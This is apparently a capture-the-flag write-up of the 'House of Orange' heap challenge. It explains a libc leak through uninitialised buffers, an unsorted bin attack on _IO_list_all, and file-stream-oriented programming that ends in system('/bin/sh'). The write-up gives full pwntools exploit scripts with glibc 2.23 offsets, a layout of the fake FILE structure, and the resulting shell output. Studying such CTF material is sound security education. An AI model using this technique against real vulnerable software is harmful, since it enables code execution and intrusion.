My teammate, Orange, need a house. Can you build it ?
nc 52.68.192.99 56746
Step 1: Leaking LIBC
peilin@PWN:~/hitcon-quals-2020/house_of_orange$ file houseoforange
houseoforange: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /glibc/x64/2.23/lib/ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped
peilin@PWN:~/hitcon-quals-2020/house_of_orange$ strings libc.so.6 | grep “release version 2.”
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
64-bit, stripped, LIBC version 2.23. Let’s see what it does:
peilin@PWN:~/hitcon-quals-2020/house_of_orange$ ./houseoforange
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : 1
Length of name :…
Name :…
Price of Orange:…
+++++++++++++++++++++++++++++++++++++
1. Red
2. Green
3. Yellow
4. Blue
5. Purple
6. Cyan
7. White
+++++++++++++++++++++++++++++++++++++
Color of Orange:1
Finish
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : 2
Name of house : asddf
Price of orange : 999
__
\/.——,
//_.’
.-“”-/””————..
/ . . . . . . . \
/ . . . . . . . . \
|. .____ . ____. . |
\ . . . . . . . . .|
\. . . . . . . . ./
\ . . .___. .. ./
‘-.__.__.__._-‘
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : 3
Length of name :…
Name :…
Price of Orange:…
+++++++++++++++++++++++++++++++++++++
1. Red
2. Green
3. Yellow
4. Blue
5. Purple
6. Cyan
7. White
+++++++++++++++++++++++++++++++++++++
Color of Orange:4
Finish
…
(-_-)
In brief, for each house we Build
, the program does the following things in sequence:
- A
malloc(0x10)
, for a “house descriptor”, containing a name buffer pointer, as well as a metadata pointer; - A variable sized (no longer than
0x1000
)malloc()
for the name buffer; - A
calloc(0x10)
for the metadata.
There are two vulnerabilities in the program, both are pretty straightforward:
First, it malloc()
s name buffers without ever initializing them. Additionally, it uses read()
to get input from us, which means our input may not be NULL-terminated… 😉 This gives us a chance to leak some pointers by See
ing a house.
Second, when we Upgrade
a house, the program simply read()
s a new name into the old buffer without doing any boundary check, which gives us a heap out-of-bounds write.
Okay, first things first. There’s no Delete
option in the program – how do we leak from an unsorted chunk, when the program does not even free()
?
The idea is simple: We free()
by malloc()
. 🙂 Sounds philosophical, but how?
When there’s not enough space in the top chunk for an incoming request, malloc()
calls sysmalloc()
. See the very end of _int_malloc()
at malloc/malloc.c:3823
:
/* Otherwise, relay to handle system-dependent cases */ else { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; } } }
If such a request is no less than mp_.mmap_threshold
(which by default is 128K), sysmalloc()
issues mmap()
to get more memory from the OS:
if (av == NULL || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max)))
Otherwise, it calls MORECORE
, which internally issues brk()
. More interestingly, in this case, sysmalloc()
calls _int_free()
on the old top chunk, which is exactly how we are going to get an unsorted chunk.
To summarize: We do a heap overflow, change the size
of the top chunk to a small value, then do a huge (less than 128K though) malloc()
so that it calls sysmalloc()
, which issues brk()
and puts the top chunk into unsorted bin. Then, we simply pick it off, write a little bit to it and print it out, as we always do.
Note however, sysmalloc()
performs several checks on the top chunk size
:
/* If not the first time through, we require old_size to be at least MINSIZE and to have prev_inuse set. */ assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
- No less than
MINSIZE
; - Has
prev_inuse
bit set; - Is page aligned;
- Less than the request size plus
MINSIZE
.
Let’s try it out:
from pwn import * def build(length, name, price, color): p.sendlineafter("Your choice :", "1") p.sendlineafter("Length of name :", str(length)) p.sendafter("Name :", name) p.sendlineafter("Price of Orange:", str(price)) p.sendlineafter("Color of Orange:", str(color)) def leak(): p.sendlineafter("Your choice :", "2") p.recvuntil(cyclic(0x8)) return u64(p.recv(6).ljust(8, "\x00")) - 0x3c3b78 def upgrade(length, name, price, color): p.sendlineafter("Your choice :", "3") p.sendlineafter("Length of name :", str(length)) p.sendafter("Name:", name) p.sendlineafter("Price of Orange: ", str(price)) p.sendlineafter("Color of Orange:", str(color)) def pwn(p): build(0x18, cyclic(0x18), 8848, 0xddaa) # overwrite `size` of top chunk upgrade(0x40, cyclic(0x38) + p64(0xfa1), 8848, 0xddaa) # fake `size`: 0xfa1 # let sysmalloc() free the old top chunk into unsorted bin build(0x1000, cyclic(0x1000), 8848, 0xddaa) # ...so that we can leak from it build(0x8, cyclic(0x8), 8848, 0xddaa) libc = leak() success("libc base: " + hex(libc)) p.close() if __name__ == "__main__": p = process("./houseoforange") pwn(p)
peilin@PWN:~/hitcon-quals-2020/house_of_orange$ python leak.py
[+] libc base: 0x7fccc52c3000
Nice. Time to get a shell!
Step 2: Hijacking malloc_printerr()
In short, we hijack the “abort routine” of malloc()
. When malloc()
detected something wrong, it calls malloc_printerr()
. Let’s walk through an example:
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);
malloc_printerr()
calls __libc_message()
:
__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n", __libc_argv[0] ? : "<unknown>", str, cp);
Defined in sysdeps/posix/libc_fatal.c:66
, __libc_message()
calls abort()
:
if (do_abort) { BEFORE_ABORT (do_abort, written, fd); /* Kill the application. */ abort (); } }
…which internally calls fflush()
. See stdlib/abort.c:49
:
/* Flush all streams. We cannot close them now because the user might have registered a handler for SIGABRT. */ if (stage == 1) { ++stage; fflush (NULL); }
Here, fflush()
is actually defined as _IO_flush_all_lockp()
:
#include <libio/libioP.h> #define fflush(s) _IO_flush_all_lockp (0)
Finally, defined in libio/genops.c:758
, _IO_flush_all_lockp()
is a very interesting function. Let’s take a closer look at it:
int _IO_flush_all_lockp (int do_lock) { int result = 0; struct _IO_FILE *fp; int last_stamp; #ifdef _IO_MTSAFE_IO __libc_cleanup_region_start (do_lock, flush_cleanup, NULL); if (do_lock) _IO_lock_lock (list_all_lock); #endif last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; if (last_stamp != _IO_list_all_stamp) { /* Something was added to the list. Start all over again. */ fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; } #ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock (list_all_lock); __libc_cleanup_region_end (0); #endif return result; }
_IO_list_all
is a singly linked list maintained by LIBC. Each entry in the list is a _IO_FILE_plus
struct, which serves as a file stream descriptor. Entries are linked together using the _chain
field.
Starting from _IO_list_all
, _IO_flush_all_lockp()
goes through the linked list and performs some checks (line 779~785) on each entry. If an entry passed all the checks, _IO_OVERFLOW
(by default) calls _IO_new_file_overflow()
using a function pointer (__overflow
) in its vtable
at offset 0x10
.
Our challenge program does no I/O other than stdin
, stdout
and stderr
. Let’s take a look:
gef➤ p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7f8658578540 <_IO_2_1_stderr_>
gef➤ p ((struct _IO_FILE *)&_IO_2_1_stderr_)->_chain
$2 = (struct _IO_FILE *) 0x7f8658578620 <_IO_2_1_stdout_>
gef➤ p ((struct _IO_FILE *)&_IO_2_1_stdout_)->_chain
$3 = (struct _IO_FILE *) 0x7f86585778e0 <_IO_2_1_stdin_>
gef➤ p ((struct _IO_FILE *)&_IO_2_1_stdin_)->_chain
$4 = (struct _IO_FILE *) 0x0
Very interesting. As mentioned, the default __overflow
function is _IO_new_file_overflow()
:
gef➤ p _IO_2_1_stderr_.vtable.__overflow
$5 = (_IO_overflow_t) 0x7f865824d880 <_IO_new_file_overflow>
gef➤ p _IO_2_1_stdout_.vtable.__overflow
$6 = (_IO_overflow_t) 0x7f865824d880 <_IO_new_file_overflow>
gef➤ p _IO_2_1_stdin_.vtable.__overflow
$7 = (_IO_overflow_t) 0x7f865824d880 <_IO_new_file_overflow>
The idea is: If we get full control over one of the _IO_list_all
entries, we can fool _IO_flush_all_lockp()
into doing whatever we want. Let’s do this step by step.
First, let’s try to point _IO_list_all
to somewhere else. We do an Upgrade
to overwrite the current unsorted chunk with our own fake chunk, then do a Build
to carry out an unsorted bin attack. The fake chunk we are going to build is so important to our exploit, so I’ve decided to give it a special name. Let’s call it orange
. Why not? 🙂
Upon receiving the 0x10
-byte request, malloc()
searches through the unsorted bin, and picks off orange
from the bin:
/* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
A quick calculation tells me that unsorted_chunks(av)
equals to <main_arena+88>
. So, if we set orange.bk
to the address of _IO_list_all
minus 0x10
, malloc will point _IO_list_all
to <main_arena+88>
, on line 3517. Let’s see this in memory.
We also need a valid size
to pacify malloc()
…I’ll use 0x1000
as a placeholder for now.
Before the attack:
gef➤ p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7fd17b6f3540 <_IO_2_1_stderr_>
After the attack:
gef➤ p _IO_list_all
$2 = (struct _IO_FILE_plus *) 0x7fd17b6f2b78 <main_arena+88>
We’ve hijacked _IO_list_all
. Nice! main_arena+88
now becomes the fake _IO_2_1_stderr_
.
Unfortunately, we don’t have full control over main_arena
, so even if we’ve hijacked _IO_list_all
, we can’t yet make _IO_flush_all_lockp()
do any useful things for us:
gef➤ p _IO_list_all
$2 = (struct _IO_FILE_plus *) 0x7fd17b6f2b78 <main_arena+88>
gef➤ p *_IO_list_all
$3 = {
file = {
_flags = 0x473e9010,
_IO_read_ptr = 0x556c473c7100 “”,
_IO_read_end = 0x556c473c7100 “”,
_IO_read_base = 0x7fd17b6f3510 “”,
_IO_write_base = 0x7fd17b6f2b88 <main_arena+104> “”,
_IO_write_ptr = 0x7fd17b6f2b88 <main_arena+104> “”,
_IO_write_end = 0x7fd17b6f2b98 <main_arena+120> “\210+o{\321\177”,
_IO_buf_base = 0x7fd17b6f2b98 <main_arena+120> “\210+o{\321\177”,
_IO_buf_end = 0x7fd17b6f2ba8 <main_arena+136> “\230+o{\321\177”,
_IO_save_base = 0x7fd17b6f2ba8 <main_arena+136> “\230+o{\321\177”,
_IO_backup_base = 0x7fd17b6f2bb8 <main_arena+152> “\250+o{\321\177”,
_IO_save_end = 0x7fd17b6f2bb8 <main_arena+152> “\250+o{\321\177”,
_markers = 0x7fd17b6f2bc8 <main_arena+168>,
_chain = 0x7fd17b6f2bc8 <main_arena+168>,
_fileno = 0x7b6f2bd8,
_flags2 = 0x7fd1,
_old_offset = 0x7fd17b6f2bd8,
_cur_column = 0x2be8,
_vtable_offset = 0x6f,
_shortbuf = “{“,
_lock = 0x7fd17b6f2be8 <main_arena+200>,
_offset = 0x7fd17b6f2bf8,
_codecvt = 0x7fd17b6f2bf8 <main_arena+216>,
_wide_data = 0x7fd17b6f2c08 <main_arena+232>,
_freeres_list = 0x7fd17b6f2c08 <main_arena+232>,
_freeres_buf = 0x7fd17b6f2c18 <main_arena+248>,
__pad5 = 0x7fd17b6f2c18,
_mode = 0x7b6f2c28,
_unused2 = “\321\177\000\000(,o{\321\177\000\000\070,o{\321\177\000”
},
vtable = 0x7fd17b6f2c38 <main_arena+280>
}
See? Currently the fake _IO_2_1_stderr_
simply contains a whole bunch of main_arena
pointers, which makes no sense from _IO_flush_all_lockp()
’s perspective… 🙁
Especially the _chain
field. _IO_flush_all_lockp()
will use it to find the next entry on the linked list, namely _IO_2_1_stdout_
.
We can’t fake an entire _IO_2_1_stderr_
, but if we can fake its _chain
and point it at somewhere fully under our control, we can fake _IO_2_1_stdout_
instead. How is it even possible, though?
gef➤ p &((struct _IO_FILE *)_IO_list_all)->_chain
$4 = (struct _IO_FILE **) 0x7fd17b6f2be0 <main_arena+192>
It turns out that <main_arena+192>
equals to the address of main_arena.bins[11]
. In other words, if we control main_arena.bins[11]
, we conrtrol _chain
.
What on earth is main_arena.bins[11]
?
struct malloc_state { /* Serialize access. */ mutex_t mutex; /* Flags (formerly in max_fast). */ int flags; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; };
bins[2*N - 2]
and bins[2*N - 1]
correspond to the HEAD
and TAIL
pointers in the N
’th bin. In this case, bins[11]
contains the TAIL
pointer of the 0x60
small bin.
Here’s the trickiest part: Remember I set orange.bk
to 0x1000
as a placeholder? Instead, if we set it to 0x60
, after malloc()
picks it off (and finds out it’s not a good fit for the request), malloc()
will put orange
into the 0x60
small bin, and write the address of orange
to arena.bins[11]
, see line 3591:
/* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; }
victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
In this way, we point _IO_2_1_stderr_._chain
to orange
. We are now able to fake an entire _IO_2_1_stdout_
, since we fully control orange
! I don’t know how @angelboy came up with this technique, but I must say this is insanely smart.
Now we’ve got everything we need to get a shell. I discussed File-Stream Oriented Programming (FSOP) in detail in my previous write-up.
To summarize, we build orange
carefully, so that:
In _IO_flush_all_lockp()
, we pass all the checks then trigger _IO_OVERFLOW()
:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF)
Then we make _IO_OVERFLOW
call _IO_str_finish()
, instead of the default _IO_new_file_overflow()
, by setting orange.vtable
to _IO_str_jumps - 0x8
;
Finally, we abuse the following highlighted line in _IO_str_finish()
to do a system("/bin/sh")
:
void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); }
Let’s take a look at our final version of orange
:
: b"\x90" * 0x30 : start! +----------------------+ 0x00 | 0xfbad8080 | _flags +----------------------+ 0x08 | 0x60 | ((malloc_chunk) orange).size +----------------------+ ...... +----------------------+ 0x18 | &_IO_list_all - 0x10 | ((malloc_chunk) orange).bk +----------------------+ ...... +----------------------+ 0x28 | 0xdeadbeef | _IO_write_ptr +----------------------+ ...... +----------------------+ 0x38 | &"/bin/sh" | _IO_buf_base +----------------------+ ...... +----------------------+ 0xd8 | &_IO_str_jumps - 0x8 | vtable +----------------------+ ...... +----------------------+ 0xe8 | &system | ((_IO_strfile) orange)._s._free_buffer +----------------------+
Finally, here’s my exploit script. I used a python2 module called pwn_debug by @raycp.
from pwn_debug import * context.arch = "amd64" # used by IO_FILE_plus module def build(length, name, price, color): p.sendlineafter("Your choice :", "1") p.sendlineafter("Length of name :", str(length)) p.sendafter("Name :", name) p.sendlineafter("Price of Orange:", str(price)) p.sendlineafter("Color of Orange:", str(color)) def leak(): p.sendlineafter("Your choice :", "2") p.recvuntil(cyclic(0x8)) return u64(p.recv(6).ljust(8, "\x00")) - 0x3c3b78 def upgrade(length, name, price, color): p.sendlineafter("Your choice :", "3") p.sendlineafter("Length of name :", str(length)) p.sendafter("Name:", name) p.sendlineafter("Price of Orange: ", str(price)) p.sendlineafter("Color of Orange:", str(color)) def pwn(p): build(0x18, cyclic(0x18), 8848, 0xddaa) # overwrite `size` of top chunk upgrade(0x40, cyclic(0x38) + p64(0xfa1), 8848, 0xddaa) # fake `size`: 0xfa1 # let sysmalloc() free the old top chunk into unsorted bin build(0x1000, cyclic(0x1000), 8848, 0xddaa) # ...so that we can leak from it build(0x8, cyclic(0x8), 8848, 0xddaa) libc = leak() success("libc base: " + hex(libc)) _IO_list_all = libc + 0x3c4520 _IO_str_jumps = libc + 0x3c27a0 str_bin_sh = libc + 0x18c58b system = libc + 0x45380 orange = IO_FILE_plus() # 0x08: ((malloc_chunk) orange).size orange._IO_read_ptr = 0x60 # 0x18: ((malloc_chunk) orange).bk orange._IO_read_base = _IO_list_all - 0x10 # hijack _IO_OVERFLOW(): orange.vtable = _IO_str_jumps - 0x8 # abuse _IO_str_finish(): orange._IO_buf_base = str_bin_sh # other restrictions for things to work... orange._flags = 0xfbad8080 orange._IO_write_ptr = 0xdeadbeef assert(orange._flags & 0x8000 != 0) assert((orange._IO_buf_base) and (orange._flags & 0x1 == 0)) assert((orange._mode <= 0) and (orange._IO_write_ptr > orange._IO_write_base)) # pack up payload = cyclic(0x30) payload += str(orange) payload += cyclic(8) # 0xe8: ((_IO_strfile) orange)._s._free_buffer payload += p64(system) upgrade(len(payload), payload, 8848, 0xddaa) # PWN! p.sendline("1") p.interactive() if __name__ == "__main__": p = process("./houseoforange") pwn(p)
One very last thing: The above exploit has a success rate of 1/2. The fake _IO_2_1_stderr_._mode
contains the lower 4 bytes of main_arena.bins[22]
:
gef➤ p &((struct _IO_FILE *) _IO_list_all)->_mode
$1 = (int *) 0x7f3df2181c38 <main_arena+280>
gef➤ p &main_arena.bins[22]
$2 = (mchunkptr *) 0x7f3df2181c38 <main_arena+280>
gef➤ p ((struct _IO_FILE *) _IO_list_all)->_mode
$3 = 0xf2181c28
Under ASLR, this value can be either positive or negative. When it is negative, _IO_flush_all_lockp()
calls _IO_OVERFLOW
on an invalid vtable
, causing a segmentation fault.
Anyway, let’s see:
peilin@PWN:~/hitcon-quals-2020/house_of_orange$ python exp.py
[+] Starting local process ‘./houseoforange’: pid 4471
[+] libc base: 0x7f23823c7000
[*] Switching to interactive mode
Finish
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : *** Error in `./houseoforange’: malloc(): memory corruption: 0x00007f238278b520 ***
$ cat flag.txt
hitcon{Y0ur_4r3_the_g0d_of_h34p_4nd_Or4ng3_is_s0_4ngry}
Nice!
References: